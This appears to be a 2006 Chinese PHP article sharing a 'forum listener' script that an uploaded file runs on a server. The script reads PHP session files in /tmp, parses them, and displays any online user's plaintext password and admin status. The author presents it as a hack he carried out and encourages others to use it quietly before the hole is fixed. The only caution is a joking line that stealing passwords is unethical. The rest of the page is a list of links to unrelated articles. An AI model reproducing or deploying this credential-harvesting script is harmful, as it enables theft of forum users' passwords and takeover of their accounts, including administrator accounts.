一个查看session内容的函数


Posted in PHP onOctober 09, 2006

之所以是能写出来这个函数,主要是对该网站的session结构清楚,如:name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1",也知道该session存放的位置,而且可以上传文件,所以嘛,当时就做了一次小小的黑客,在线的朋友的密码可以一览无余,呵呵:
<?
function submit1(){
global $username;
print "<title>论坛监听器</title>";
$i=0;
if($username=="tasm"||$username=="Tasm")
{
print "你也太黑了吧?连我你也查?";
  return;
}
$path="/tmp/";
$d = dir($path);
while($entry=$d->read()){
if(substr($entry,0,4)=="sess"){
$entry=$path.$entry;
$ary=@file($entry);
if(!empty($ary[0])){
$ary = explode(";",$ary[0]);
$name= explode(":",$ary[0]);
if($name[2]=="\"".$username."\""){
$passwd= explode(":",$ary[1]);
$mode=explode(":",$ary[3]);
print "用户笔名:".$name[2]."<br>使用密码:".$passwd[2]."<br>使用模式:";
if($mode[1]==1)
print "<font color=red>管理员</font>";
else
print "一般用户";
print"<br><br>偷窃他人密码是不道德行为请少少为之<br>";
$i=1;
break;
}}}}
if(!$i)
print "用户:".$username."真的在线吗?如你确定,<a href='javascript:history.go(-1)'>请再来一次</a>,不要多打空格!";
$d->close();
}

function login(){
?>
<html>
<head>
<title>论坛监听器</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<div align="center">
<p>论坛监听器 </p>
<p> </p>
<table width="500" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2">当你看到一用户在线时你想看他的密码,你要如何作呢?</td>
</tr>
<tr>
<td colspan="2">让我来告诉你:就是使用本程序。</td>
</tr>
<tr>
<td colspan="2"><font color=red>郑重申明:本程序为自由程序,由它所造成的任何损失本人盖不负责。</font>
<br>不过这个问题也许很快就会被堵上,个位还是不要张扬的偷着用吧。</td>
</tr>
</table>
<form name="form1" method="post" action="<?print $PHP_SELF ?>" >
<p>请输入你要查的用户名:<br>
<input type="text" name="username">
</p>
<p>
<input type="submit" name="submit1" value="我同意以上申明,开始查找">
</p>
</form>
<p> </p>
</div>
</body>
</html>
<?
}
//--------------main()
if($submit1)
submit1();
else
login();
?>

PHP 相关文章推荐
PHP入门速成(2)
Oct 09 PHP
PHP 编写的 25个游戏脚本
May 11 PHP
如何用php获取程序执行的时间
Jun 09 PHP
执行、获取远程代码返回:file_get_contents 超时处理的问题详解
Jun 25 PHP
php中自定义函数dump查看数组信息类似var_dump
Jan 27 PHP
destoon二次开发常用数据库操作
Jun 21 PHP
php调用新浪短链接API的方法
Nov 08 PHP
微信公众平台开发关注及取消关注事件的方法
Dec 23 PHP
php中define用法实例
Jul 30 PHP
PHP数组的定义、初始化和数组元素的显示实现代码
Nov 05 PHP
Yii2框架自定义验证规则操作示例
Feb 08 PHP
PHP迭代器和生成器用法实例分析
Sep 28 PHP
一个显示天气预报的程序
Oct 09 #PHP
web方式ftp
Oct 09 #PHP
php中文本数据翻页(留言本翻页)
Oct 09 #PHP
自己动手做一个SQL解释器
Oct 09 #PHP
GD输出汉字的函数的分析
Oct 09 #PHP
类的另类用法--数据的封装
Oct 09 #PHP
最小化数据传输――在客户端存储数据
Oct 09 #PHP
You might like
饭制《星际争霸》Mod:优化游戏机制 增加新单位
2017/07/02 星际争霸
用PHP调用Oracle存储过程的方法
2008/09/12 PHP
PHP Switch 语句之学习笔记
2013/09/21 PHP
PHP连接SQLServer2005的方法
2015/01/27 PHP
PHP常用函数总结(180多个)
2016/12/25 PHP
jQuery 选择表格(table)里的行和列及改变简单样式
2012/12/15 Javascript
中文路径导致unitpngfix.js不正常的解决方法
2013/06/26 Javascript
js判断undefined类型,undefined,null, 的区别详细解析
2013/12/16 Javascript
php,js,css字符串截取的办法集锦
2014/09/26 Javascript
javascript定义变量时带var与不带var的区别分析
2015/01/12 Javascript
javascript实现获取浏览器版本、操作系统类型
2015/01/29 Javascript
jQuery幻灯片特效代码分享--鼠标滑过按钮时切换(2)
2020/11/18 Javascript
JS实现图片高亮展示效果实例
2015/11/24 Javascript
js自定义回调函数
2015/12/13 Javascript
js 能实现监听F5页面刷新子iframe 而父页面不刷新的方法
2016/11/09 Javascript
关于Vue Webpack2单元测试示例详解
2017/08/14 Javascript
BootStrap 页签切换失效的解决方法
2017/08/17 Javascript
js代码规范之Eslint安装与配置详解
2018/09/08 Javascript
Vue2 添加数据可视化支持的方法步骤
2019/01/02 Javascript
[43:18]NB vs Infamous 2019国际邀请赛淘汰赛 败者组 BO3 第一场 8.22
2019/09/05 DOTA
Django框架 查询Extra功能实现解析
2019/09/04 Python
ipad上运行python的方法步骤
2019/10/12 Python
关于Flask项目无法使用公网IP访问的解决方式
2019/11/19 Python
OpenCV 之按位运算举例解析
2020/06/19 Python
python 6行代码制作月历生成器
2020/09/18 Python
CSS3按钮鼠标悬浮实现光圈效果源码
2016/09/11 HTML / CSS
有750多个顶级品牌的瑞士时尚在线:ABOUT YOU
2017/01/04 全球购物
C++:memset ,memcpy和strcpy的根本区别
2013/04/27 面试题
迎新晚会邀请函
2014/02/01 职场文书
工艺工程师岗位职责
2014/03/04 职场文书
小学生作文评语
2014/04/18 职场文书
航海技术专业毕业生推荐信
2014/07/09 职场文书
党员转正申请报告
2015/05/15 职场文书
七年级数学教学反思
2016/02/17 职场文书
2016年第二十届“母亲节暨幸福工程救助贫困母亲活动日”活动总结
2016/04/06 职场文书
mysql部分操作
2021/04/05 MySQL